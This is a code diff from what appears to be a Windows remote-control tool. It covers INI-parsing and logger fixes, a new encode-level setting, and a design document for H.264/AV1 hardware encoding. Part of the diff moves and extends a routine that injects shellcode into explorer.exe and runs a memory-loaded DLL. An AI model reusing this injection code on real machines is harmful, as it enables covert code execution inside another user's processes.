||||||
|
return 1;
|
||||||
|
if (!(pid = inj.InjectProcess("explorer.exe", TRUE))) {
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
|
||||||
|
if (hProcess == NULL) {
|
||||||
|
return 3;
|
||||||
|
}
|
||||||
|
Mprintf("Inject process [%d] succeed.\n", pid);
|
||||||
|
HANDLE handles[2] = { hProcess, hEvent };
|
||||||
|
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
||||||
|
if (status == 1) {
|
||||||
|
Mprintf("结束运行.\n");
|
||||||
|
Sleep(1000);
|
||||||
|
TerminateProcess(hProcess, -1);
|
||||||
|
SAFE_CLOSE_HANDLE(hEvent);
|
||||||
|
}
|
||||||
|
SAFE_CLOSE_HANDLE(hProcess);
|
||||||
|
Mprintf("Process [%d] is finished.\n", pid);
|
||||||
|
Sleep(1000);
|
||||||
|
if (status == 1)
|
||||||
|
ExitProcess(0);
|
||||||
|
} while (pid);
|
||||||
|
}
|
||||||
|
|
||||||
// @brief 首先读取settings.ini配置文件,获取IP和端口.
|
// @brief 首先读取settings.ini配置文件,获取IP和端口.
|
||||||
// [settings]
|
// [settings]
|
||||||
// localIp=XXX
|
// localIp=XXX
|
||||||
@@ -317,44 +355,6 @@ int main(int argc, const char *argv[])
|
|||||||
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
|
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 此 Shell code 连接本机6543端口,注入到任务管理器
|
|
||||||
if (g_ConnectAddress.iStartup == Startup_InjSC) {
|
|
||||||
// Try to inject shell code to `notepad.exe`
|
|
||||||
// If failed then run memory DLL
|
|
||||||
ShellcodeInj inj(TinyRun_dll, TinyRun_dll_len);
|
|
||||||
int pid = 0;
|
|
||||||
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
|
|
||||||
do {
|
|
||||||
if (sizeof(void*) == 4) // Shell code is 64bit
|
|
||||||
break;
|
|
||||||
if (!(pid = inj.InjectProcess("explorer.exe", ok))) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
|
|
||||||
if (hProcess == NULL) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
Mprintf("Inject process [%d] succeed.\n", pid);
|
|
||||||
HANDLE handles[2] = { hProcess, hEvent };
|
|
||||||
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
|
||||||
if (status == 1) {
|
|
||||||
TerminateProcess(hProcess, -1);
|
|
||||||
SAFE_CLOSE_HANDLE(hEvent);
|
|
||||||
}
|
|
||||||
SAFE_CLOSE_HANDLE(hProcess);
|
|
||||||
Mprintf("Process [%d] is finished.\n", pid);
|
|
||||||
if (status == 1) {
|
|
||||||
Mprintf("结束运行.\n");
|
|
||||||
Sleep(1000);
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
} while (pid);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (g_ConnectAddress.iStartup == Startup_InjSC) {
|
|
||||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
|
||||||
}
|
|
||||||
|
|
||||||
do {
|
do {
|
||||||
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
||||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||||
@@ -423,6 +423,9 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
case Startup_MEMDLL:
|
case Startup_MEMDLL:
|
||||||
runner = new MemoryDllRunner;
|
runner = new MemoryDllRunner;
|
||||||
break;
|
break;
|
||||||
|
case Startup_InjSC:
|
||||||
|
runner = new MemoryDllRunner(INJECT_SC, InjectShellcode);
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
ExitProcess(-1);
|
ExitProcess(-1);
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -11,6 +11,7 @@
|
|||||||
|
|
||||||
#include <cstdio>
|
#include <cstdio>
|
||||||
#include <cstring>
|
#include <cstring>
|
||||||
|
#include <fstream>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <map>
|
#include <map>
|
||||||
|
|
||||||
@@ -36,24 +37,20 @@ public:
|
|||||||
if (!filePath || !filePath[0])
|
if (!filePath || !filePath[0])
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
FILE* f = nullptr;
|
std::ifstream f(filePath);
|
||||||
#ifdef _MSC_VER
|
if (!f.is_open())
|
||||||
if (fopen_s(&f, filePath, "r") != 0 || !f)
|
|
||||||
return false;
|
return false;
|
||||||
#else
|
|
||||||
f = fopen(filePath, "r");
|
|
||||||
if (!f)
|
|
||||||
return false;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
|
// 不再使用固定行缓冲:超过 4KB 的行(如团购授权数百个 IP 的列表)会被
|
||||||
|
// fgets 拆成多段,第二段不带 '=' 会被 ParseLine 丢弃 → 显示截断。
|
||||||
|
// std::getline 按行读 std::string,无长度上限。
|
||||||
std::string currentSection;
|
std::string currentSection;
|
||||||
char line[4096];
|
std::string line;
|
||||||
|
while (std::getline(f, line)) {
|
||||||
while (fgets(line, sizeof(line), f)) {
|
if (!line.empty()) {
|
||||||
ParseLine(line, currentSection);
|
ParseLine(&line[0], currentSection);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fclose(f);
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -76,13 +73,11 @@ public:
|
|||||||
while (lineEnd < end && *lineEnd != '\n' && *lineEnd != '\r')
|
while (lineEnd < end && *lineEnd != '\n' && *lineEnd != '\r')
|
||||||
lineEnd++;
|
lineEnd++;
|
||||||
|
|
||||||
// 复制行内容
|
// 不再限制行长度(原 4096 上限会悄无声息地丢弃长行)
|
||||||
size_t lineLen = lineEnd - p;
|
size_t lineLen = lineEnd - p;
|
||||||
if (lineLen > 0 && lineLen < 4096) {
|
if (lineLen > 0) {
|
||||||
char line[4096];
|
std::string line(p, lineLen);
|
||||||
memcpy(line, p, lineLen);
|
ParseLine(&line[0], currentSection);
|
||||||
line[lineLen] = '\0';
|
|
||||||
ParseLine(line, currentSection);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 跳过换行符
|
// 跳过换行符
|
||||||
@@ -100,24 +95,17 @@ public:
|
|||||||
if (!filePath || !filePath[0])
|
if (!filePath || !filePath[0])
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
FILE* f = nullptr;
|
std::ifstream f(filePath);
|
||||||
#ifdef _MSC_VER
|
if (!f.is_open())
|
||||||
if (fopen_s(&f, filePath, "r") != 0 || !f)
|
|
||||||
return false;
|
return false;
|
||||||
#else
|
|
||||||
f = fopen(filePath, "r");
|
|
||||||
if (!f)
|
|
||||||
return false;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
std::string currentSection;
|
std::string currentSection;
|
||||||
char line[4096];
|
std::string line;
|
||||||
|
while (std::getline(f, line)) {
|
||||||
while (fgets(line, sizeof(line), f)) {
|
if (!line.empty()) {
|
||||||
ParseLine(line, currentSection);
|
ParseLine(&line[0], currentSection);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fclose(f);
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -255,6 +255,7 @@ enum {
|
|||||||
CMD_AUDIO_CTRL = 95, // 音频控制: [cmd:1][enable:1][persist:1]
|
CMD_AUDIO_CTRL = 95, // 音频控制: [cmd:1][enable:1][persist:1]
|
||||||
TOKEN_SCREEN_AUDIO = 96, // 音频数据: [token:1][hasFormat:1][AudioFormat?][data]
|
TOKEN_SCREEN_AUDIO = 96, // 音频数据: [token:1][hasFormat:1][AudioFormat?][data]
|
||||||
COMMAND_SHARE_CANCEL = 97,
|
COMMAND_SHARE_CANCEL = 97,
|
||||||
|
COMMAND_ENCODE_LEVEL = 98,
|
||||||
|
|
||||||
TOKEN_SCROLL_FRAME = 99, // 滚动优化帧
|
TOKEN_SCROLL_FRAME = 99, // 滚动优化帧
|
||||||
// 服务端发出的标识
|
// 服务端发出的标识
|
||||||
@@ -1188,6 +1189,12 @@ enum QualityLevel {
|
|||||||
#define ALGORITHM_RGB565 3 // RGB565 压缩
|
#define ALGORITHM_RGB565 3 // RGB565 压缩
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
enum EncodeLevel {
|
||||||
|
LEVEL_H264_SOFT = 0,
|
||||||
|
LEVEL_H264_HARD = 1,
|
||||||
|
LEVEL_AV1_HARD = 2,
|
||||||
|
};
|
||||||
|
|
||||||
/* 质量配置(与 QualityLevel 对应)
|
/* 质量配置(与 QualityLevel 对应)
|
||||||
- strategy = 0:1080p 限制
|
- strategy = 0:1080p 限制
|
||||||
- strategy = 1:原始分辨率
|
- strategy = 1:原始分辨率
|
||||||
@@ -1272,7 +1279,8 @@ typedef struct ScreenSettings {
|
|||||||
int CpuSpeedup; // 偏移 36, 指令集加速(0: 无, 1: SSE2)
|
int CpuSpeedup; // 偏移 36, 指令集加速(0: 无, 1: SSE2)
|
||||||
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
||||||
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
||||||
char Reserved[48]; // 偏移 48, 保留字段(新能力参数从此处扩展)
|
int EncodeLevel; // 偏移 48, 编码等级
|
||||||
|
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
|
||||||
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
||||||
} ScreenSettings; // 总大小 100 字节
|
} ScreenSettings; // 总大小 100 字节
|
||||||
|
|
||||||
@@ -1361,7 +1369,8 @@ enum {
|
|||||||
|
|
||||||
SHELLCODE = 0,
|
SHELLCODE = 0,
|
||||||
MEMORYDLL = 1,
|
MEMORYDLL = 1,
|
||||||
RUNTYPE_MAX = 2,
|
INJECT_SC = 2,
|
||||||
|
RUNTYPE_MAX = 3,
|
||||||
|
|
||||||
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
|
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
|
||||||
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
|
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
|
||||||
|
|||||||
6
common/config.h
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
|
||||||
|
// 请设置为禁用,防止GPL开源传染性
|
||||||
|
#define DISABLE_X264_FOR_TEST 0
|
||||||
|
|
||||||
|
// 请设置为禁用,防止GPL开源传染性
|
||||||
|
#define DISABLE_FFMPEG_FOR_TEST 0
|
||||||
@@ -208,9 +208,25 @@ public:
|
|||||||
|
|
||||||
virtual std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "")
|
virtual std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "")
|
||||||
{
|
{
|
||||||
char buf[4096] = { 0 }; // 增大缓冲区以支持较长的值(如 IP 列表)
|
// 动态扩容读取:GetPrivateProfileStringA 在缓冲不够时会从中间截断,
|
||||||
DWORD n = ::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), def.c_str(), buf, sizeof(buf), m_IniFilePath);
|
// 必须以"是否返回 bufSize-1"判断截断并翻倍重读,否则长值(如团购授权的
|
||||||
return std::string(buf);
|
// IP 列表)会被悄无声息地切断,且后续 read-modify-write 把截断结果写回时
|
||||||
|
// 造成永久数据丢失。
|
||||||
|
DWORD bufSize = 4096;
|
||||||
|
const DWORD kMaxBufSize = 1024 * 1024; // 1MB 兜底,避免失控
|
||||||
|
std::vector<char> buf;
|
||||||
|
for (;;) {
|
||||||
|
buf.assign(bufSize, 0);
|
||||||
|
DWORD n = ::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(),
|
||||||
|
def.c_str(), buf.data(), bufSize,
|
||||||
|
m_IniFilePath);
|
||||||
|
// 未截断:n < bufSize - 1
|
||||||
|
if (n + 1 < bufSize || bufSize >= kMaxBufSize) {
|
||||||
|
return std::string(buf.data(), n);
|
||||||
|
}
|
||||||
|
bufSize *= 2;
|
||||||
|
if (bufSize > kMaxBufSize) bufSize = kMaxBufSize;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
virtual bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data)
|
virtual bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data)
|
||||||
|
|||||||
@@ -228,16 +228,19 @@ private:
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 后台线程处理日志
|
// 后台线程处理日志
|
||||||
|
// 退出语义:stop() 设 running=false 后,本线程必须把队列里**已入队**的日志
|
||||||
|
// 全部刷盘再退出。否则进程死亡前最后几条 Mprintf(包括退出原因)会丢失。
|
||||||
void processLogs()
|
void processLogs()
|
||||||
{
|
{
|
||||||
threadRun = true;
|
threadRun = true;
|
||||||
while (running) {
|
while (true) {
|
||||||
std::unique_lock<std::mutex> lock(queueMutex);
|
std::unique_lock<std::mutex> lock(queueMutex);
|
||||||
cv.wait(lock, [this]() {
|
cv.wait(lock, [this]() {
|
||||||
return !running || !logQueue.empty();
|
return !running || !logQueue.empty();
|
||||||
});
|
});
|
||||||
|
|
||||||
while (running && !logQueue.empty()) {
|
// drain:不带 running 判断,确保 stop() 时残留条目也写完
|
||||||
|
while (!logQueue.empty()) {
|
||||||
std::string logEntry = logQueue.front();
|
std::string logEntry = logQueue.front();
|
||||||
logQueue.pop();
|
logQueue.pop();
|
||||||
lock.unlock();
|
lock.unlock();
|
||||||
@@ -247,7 +250,9 @@ private:
|
|||||||
|
|
||||||
lock.lock();
|
lock.lock();
|
||||||
}
|
}
|
||||||
lock.unlock();
|
|
||||||
|
// 队列已空再决定要不要退出
|
||||||
|
if (!running) break;
|
||||||
}
|
}
|
||||||
threadRun = false;
|
threadRun = false;
|
||||||
}
|
}
|
||||||
|
|||||||
BIN
compress/ffmpeg/dav1d_x64.lib
Normal file
BIN
compress/ffmpeg/vpl_x64.lib
Normal file
BIN
compress/ffmpeg/vpl_x64d.lib
Normal file
977
docs/HardwareEncoding_Design.md
Normal file
@@ -0,0 +1,977 @@
|
|||||||
|
# 视频编码硬件加速实现指导文档
|
||||||
|
|
||||||
|
本文档供 AI 编码助手参考,用于在现有 C++ 远程控制程序中实现 H.264 硬件编码 + AV1 编码路径。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 项目背景
|
||||||
|
|
||||||
|
### 1.1 当前状态
|
||||||
|
|
||||||
|
- C++ Windows 远程控制程序
|
||||||
|
- 已实现 H.264 编码,基于 x264 软编(`CX264Encoder`),preset = `ultrafast + zerolatency`
|
||||||
|
- 视频管线:桌面捕获(RGB/BGRA)→ 编码 → 网络传输 → 客户端解码显示
|
||||||
|
- 当前架构:每个主控端连接对应一个独立编码器实例
|
||||||
|
- **分发模式**:单 exe,FFmpeg 静态链接
|
||||||
|
|
||||||
|
### 1.2 目标
|
||||||
|
|
||||||
|
分两阶段渐进推进,**始终保留 x264 软编作为兜底**:
|
||||||
|
|
||||||
|
**阶段一(H.264 硬编加速)**
|
||||||
|
- 新增 H.264 硬编(NVENC / QSV / AMF),按 GPU 能力探测优先走硬编
|
||||||
|
- x264 软编在无 GPU / 虚拟机 / 远程桌面会话等环境下兜底
|
||||||
|
- 浏览器解码零兼容性风险(H.264 全平台原生支持)
|
||||||
|
|
||||||
|
**阶段二(AV1 路径)**
|
||||||
|
- 新增 AV1 硬编(`av1_nvenc` / `av1_qsv` / `av1_amf`)
|
||||||
|
- 客户端浏览器握手时声明 AV1 能力
|
||||||
|
- 双方都能用就走 AV1,否则回落 H.264
|
||||||
|
|
||||||
|
**最终产物仍为单 exe**,体积增量可接受 6–10 MB。
|
||||||
|
|
||||||
|
### 1.3 关键决策记录
|
||||||
|
|
||||||
|
#### 1.3.1 为什么跳过 HEVC
|
||||||
|
|
||||||
|
经评估,HEVC 在本项目目标场景下没有独占价值:
|
||||||
|
|
||||||
|
| 维度 | 现状 |
|
||||||
|
|---|---|
|
||||||
|
| **浏览器解码** | Firefox 完全不支持;Chrome/Edge 需 Win11 + 商店付费的 HEVC Video Extensions |
|
||||||
|
| **专利授权** | 商用涉及 MPEG-LA / Access Advance / Velos Media 三个专利池 |
|
||||||
|
| **替代方案** | AV1 压缩效率更高、AOMedia 免专利、浏览器原生支持广 |
|
||||||
|
|
||||||
|
HEVC 编码端硬件普及度好(几乎所有 2015+ GPU)这个优势,被解码端短板完全抵消。
|
||||||
|
|
||||||
|
#### 1.3.2 为什么 H.264 硬编先于 AV1
|
||||||
|
|
||||||
|
- **AV1 硬编硬件门槛高**:仅 NVIDIA RTX 40+ / AMD RX 7000+ / Intel Arc 才有
|
||||||
|
- **"多机混杂"场景**下大部分编码端 GPU 没有 AV1 硬编
|
||||||
|
- **H.264 硬编**(NVENC/QSV/AMF)几乎所有现代 GPU 都有,覆盖面广
|
||||||
|
- **客户端浏览器解 H.264** 是零兼容性问题,跨浏览器/跨平台 100% 通用
|
||||||
|
|
||||||
|
H.264 硬编是先把"地板抬起来",AV1 是"在新硬件上的天花板"。
|
||||||
|
|
||||||
|
### 1.4 设计约束
|
||||||
|
|
||||||
|
- **平台**:仅 Windows(macOS/Linux 未来另行设计)
|
||||||
|
- **GPU 不确定**:NVIDIA / AMD / Intel / 无独显 / 虚拟机无 GPU 都需支持
|
||||||
|
- **延迟要求**:不敏感(不追求极致低延迟)
|
||||||
|
- **并发模型**:通常 1 对 1,少数 1 对多(每个连接独立编码器)
|
||||||
|
- **客户端**:浏览器(WebCodecs 优先,`<video>` 次之),未来集成
|
||||||
|
- **工具链**:Visual Studio 2019
|
||||||
|
- **属性**:个人项目,暂不商用,专利问题搁置但仍优先选免专利方案
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 技术方案总览
|
||||||
|
|
||||||
|
### 2.1 编码器优先级链
|
||||||
|
|
||||||
|
```
|
||||||
|
新连接进入(带客户端能力)
|
||||||
|
│
|
||||||
|
├─ 客户端声明支持 AV1?─── 否 ────┐
|
||||||
|
│ 是 │
|
||||||
|
│ ↓ │
|
||||||
|
├─ av1_nvenc/qsv/amf 能开?──┐ │
|
||||||
|
│ │ │ │
|
||||||
|
│ 成功 → 用 AV1 │ │
|
||||||
|
│ ↓ ↓
|
||||||
|
└─ h264_nvenc/qsv/amf/mf 能开?──┐
|
||||||
|
│ │
|
||||||
|
成功 → 用 H.264 硬编 │
|
||||||
|
↓
|
||||||
|
x264 软编(始终可用)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.2 编码器后端表
|
||||||
|
|
||||||
|
| 类型 | FFmpeg 编码器名 | 硬件要求 | 备注 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| AV1 硬编 | `av1_nvenc` | NVIDIA RTX 40+(Ada Lovelace) | 2022 Q4 起 |
|
||||||
|
| AV1 硬编 | `av1_amf` | AMD RX 7000+(RDNA 3) | 2022 Q4 起 |
|
||||||
|
| AV1 硬编 | `av1_qsv` | Intel Arc / 部分新 Iris Xe | 2022 起 |
|
||||||
|
| H.264 硬编 | `h264_nvenc` | 几乎所有 NVIDIA GPU(GTX 650+) | 2012 起 |
|
||||||
|
| H.264 硬编 | `h264_qsv` | 几乎所有 Intel 核显(HD 4000+) | 2012 起 |
|
||||||
|
| H.264 硬编 | `h264_amf` | 几乎所有 AMD GPU | |
|
||||||
|
| H.264 硬编 | `h264_mf` | Windows Media Foundation | 兜底,质量/稳定性一般 |
|
||||||
|
| H.264 软编 | `libx264`(现有 `CX264Encoder`) | 任意 CPU | 始终兜底 |
|
||||||
|
|
||||||
|
**不使用 `libx265` / `libaom-av1` / `libsvtav1`**(CPU 软编),原因:
|
||||||
|
- 远控产品对 CPU 占用敏感,AV1/HEVC 软编实时编码压力大
|
||||||
|
- `libx265` 会让 FFmpeg 切到 GPL,`libaom-av1` 编码速度也不够
|
||||||
|
|
||||||
|
### 2.3 类结构
|
||||||
|
|
||||||
|
```
|
||||||
|
VideoEncoderBase(新增抽象接口)
|
||||||
|
├── CX264Encoder (改造现有类继承接口,保留软编兜底)
|
||||||
|
├── CFFmpegH264Encoder (新增,封装 h264_nvenc/qsv/amf/mf)
|
||||||
|
└── CFFmpegAV1Encoder (新增,封装 av1_nvenc/qsv/amf)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.4 协商流程
|
||||||
|
|
||||||
|
```
|
||||||
|
握手阶段:
|
||||||
|
- 客户端(浏览器)在 WebSocket 握手时上报能力:
|
||||||
|
{ "codecs": ["av1", "h264"] } // 浏览器实际能解的,按优先级排
|
||||||
|
- 服务端取「客户端能力 ∩ 自己硬件能力」选 codec
|
||||||
|
|
||||||
|
会话阶段:
|
||||||
|
- 选定 codec 后创建对应编码器,整个连接生命周期不变
|
||||||
|
- 运行中不切换 codec(保持简单,需要切换就重连)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 硬编 vs 现有 x264 软编对比
|
||||||
|
|
||||||
|
### 3.1 CPU 占用(最大收益)
|
||||||
|
|
||||||
|
| 编码器 | 1080p @ 30fps CPU 占用 |
|
||||||
|
|---|---|
|
||||||
|
| x264 `ultrafast`(现状) | 单核 15–30% |
|
||||||
|
| x264 `medium`(同画质基准) | 单核 60–100% |
|
||||||
|
| `h264_nvenc p4` | 总 **1–3%** |
|
||||||
|
| `h264_qsv medium` | 总 2–5% |
|
||||||
|
| `h264_amf balanced` | 总 2–5% |
|
||||||
|
|
||||||
|
被控端是用户的主力工作机,他自己还在干活。CPU 让出来意味着远控对他几乎不可感。
|
||||||
|
|
||||||
|
### 3.2 同 CPU 预算下画质更高
|
||||||
|
|
||||||
|
x264 的 preset 排序(同码率下画质):
|
||||||
|
|
||||||
|
```
|
||||||
|
ultrafast < superfast < veryfast < faster < fast < medium < slow ...
|
||||||
|
↑ 现状 ↑ 标准基准
|
||||||
|
```
|
||||||
|
|
||||||
|
NVENC `p4` 预设大致对应 x264 `fast` ~ `medium`,**画质明显优于当前 ultrafast,且 CPU 占用低一个数量级**。
|
||||||
|
|
||||||
|
### 3.3 其他收益
|
||||||
|
|
||||||
|
- **编码延迟稳定**:ASIC 不受 CPU 调度影响,单帧 1–5 ms
|
||||||
|
- **笔记本电池/温度**:ASIC 几瓦,键盘不烫、风扇不转
|
||||||
|
- **可拉高分辨率/帧率**:4K@30 / 多屏拼接软编扛不住,硬编轻松
|
||||||
|
|
||||||
|
### 3.4 代价(必须接受)
|
||||||
|
|
||||||
|
- **二进制 +6–10 MB**(FFmpeg 静态库,可接受)
|
||||||
|
- **编译复杂度上升**:vcpkg 或自编 FFmpeg
|
||||||
|
- **不同后端参数语义有差异**:rc 模式、preset 名字、bitrate 表现都不一样
|
||||||
|
- **必须保留 x264 软编兜底**:无 GPU / 远程桌面 / 虚拟机 / NVENC session 满 等场景
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 现有 H.264 编码器现状
|
||||||
|
|
||||||
|
`CX264Encoder` 签名(`client/X264Encoder.cpp`):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
class CX264Encoder
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
x264_t* m_pCodec;
|
||||||
|
x264_picture_t* m_pPicIn;
|
||||||
|
x264_picture_t* m_pPicOut;
|
||||||
|
x264_param_t m_Param;
|
||||||
|
|
||||||
|
public:
|
||||||
|
bool open(int width, int height, int fps, int crf);
|
||||||
|
bool open(x264_param_t* param);
|
||||||
|
void close();
|
||||||
|
int encode(uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** lppData, uint32_t* lpSize,
|
||||||
|
int direction = 1);
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
集成点(`client/ScreenCapture.h`):
|
||||||
|
|
||||||
|
| 位置 | 内容 |
|
||||||
|
|---|---|
|
||||||
|
| `L148` | `CX264Encoder* m_encoder;`(持有具体类,需改为接口) |
|
||||||
|
| `L926-930` | 关键帧路径硬编码 `new CX264Encoder()` |
|
||||||
|
| `L956-960` | 增量帧路径硬编码 `new CX264Encoder()` |
|
||||||
|
| `L170-176` | `BitRateToCRF(bitRate)` 码率→CRF 映射 |
|
||||||
|
|
||||||
|
参数现状:
|
||||||
|
- `param.i_threads = 1`
|
||||||
|
- `preset = "ultrafast", tune = "zerolatency"`
|
||||||
|
- `i_keyint_max = fps * 15`(15 秒一个 IDR)
|
||||||
|
- `i_bframe = 0`、`b_open_gop = 0`
|
||||||
|
- `rc.i_rc_method = X264_RC_CRF`(CRF 模式,未设 VBV)
|
||||||
|
|
||||||
|
需要的改造(详见 §6):
|
||||||
|
1. `ScreenCapture::m_encoder` 改 `std::unique_ptr<VideoEncoderBase>`
|
||||||
|
2. 编码器创建走 `CreateEncoder` 工厂
|
||||||
|
3. 接口的 quality 语义解耦(CRF vs kbps,详见 §6.2)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. FFmpeg 静态库准备
|
||||||
|
|
||||||
|
### 5.1 推荐方案:vcpkg
|
||||||
|
|
||||||
|
VS2019 + vcpkg 是最稳的路径:
|
||||||
|
|
||||||
|
```
|
||||||
|
vcpkg install ffmpeg[core,nvcodec,amf,qsv]:x64-windows-static-md
|
||||||
|
```
|
||||||
|
|
||||||
|
要点:
|
||||||
|
- **三元组选 `x64-windows-static-md`**:链接静态 FFmpeg 但用动态 CRT(`/MD`),与本项目当前工程一致
|
||||||
|
- 如果工程是 `/MT` 改用 `x64-windows-static`
|
||||||
|
- `nvcodec` feature 引入 NVENC 头文件,`amf` 引入 AMF,`qsv` 引入 libmfx
|
||||||
|
- 阶段一只需要 H.264,可以先不带这些 feature,但建议一次到位
|
||||||
|
|
||||||
|
阶段二需要 AV1,FFmpeg 较新版本默认已支持 `av1_nvenc` / `av1_amf` / `av1_qsv`,无需额外 feature 名。
|
||||||
|
|
||||||
|
### 5.2 备选方案:自编
|
||||||
|
|
||||||
|
MSYS2 + MinGW-w64 + `--toolchain=msvc` 产出 MSVC 兼容 `.lib`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./configure \
|
||||||
|
--prefix=/path/to/install \
|
||||||
|
--arch=x86_64 \
|
||||||
|
--target-os=mingw64 \
|
||||||
|
--toolchain=msvc \
|
||||||
|
--disable-shared --enable-static \
|
||||||
|
--disable-everything \
|
||||||
|
--disable-autodetect \
|
||||||
|
--disable-network \
|
||||||
|
--disable-doc \
|
||||||
|
--disable-programs \
|
||||||
|
--disable-debug \
|
||||||
|
--enable-small \
|
||||||
|
--enable-encoder=h264_nvenc \
|
||||||
|
--enable-encoder=h264_amf \
|
||||||
|
--enable-encoder=h264_qsv \
|
||||||
|
--enable-encoder=h264_mf \
|
||||||
|
--enable-encoder=av1_nvenc \
|
||||||
|
--enable-encoder=av1_amf \
|
||||||
|
--enable-encoder=av1_qsv \
|
||||||
|
--enable-protocol=file
|
||||||
|
```
|
||||||
|
|
||||||
|
**不要** `--enable-gpl` 或 `--enable-libx265 / --enable-libaom`,保持 LGPL 且避免软编 H.265/AV1。
|
||||||
|
|
||||||
|
### 5.3 工程链接配置(MSVC)
|
||||||
|
|
||||||
|
**附加包含目录**(C/C++ → 常规):
|
||||||
|
```
|
||||||
|
$(VcpkgRoot)\installed\x64-windows-static-md\include
|
||||||
|
```
|
||||||
|
|
||||||
|
**附加库目录**(链接器 → 常规):
|
||||||
|
```
|
||||||
|
$(VcpkgRoot)\installed\x64-windows-static-md\lib
|
||||||
|
```
|
||||||
|
|
||||||
|
**附加依赖项**(链接器 → 输入):
|
||||||
|
```
|
||||||
|
avcodec.lib
|
||||||
|
avutil.lib
|
||||||
|
swresample.lib
|
||||||
|
|
||||||
|
# FFmpeg 静态链接依赖的 Windows 系统库
|
||||||
|
mfplat.lib
|
||||||
|
mfuuid.lib
|
||||||
|
strmiids.lib
|
||||||
|
ws2_32.lib
|
||||||
|
secur32.lib
|
||||||
|
bcrypt.lib
|
||||||
|
```
|
||||||
|
|
||||||
|
**预处理器定义**:
|
||||||
|
```
|
||||||
|
ENABLE_HW_ENCODER
|
||||||
|
__STDC_CONSTANT_MACROS # FFmpeg C 头文件在 C++ 中需要
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 实现任务清单
|
||||||
|
|
||||||
|
### 6.1 文件清单
|
||||||
|
|
||||||
|
| 文件 | 操作 | 说明 |
|
||||||
|
|---|---|---|
|
||||||
|
| `VideoEncoderBase.h` | 新增 | 抽象基类 + EncoderParams |
|
||||||
|
| `X264Encoder.h/.cpp` | 修改 | 继承 `VideoEncoderBase`,新增 `forceIDR()` / `codec()` / `backendName()` |
|
||||||
|
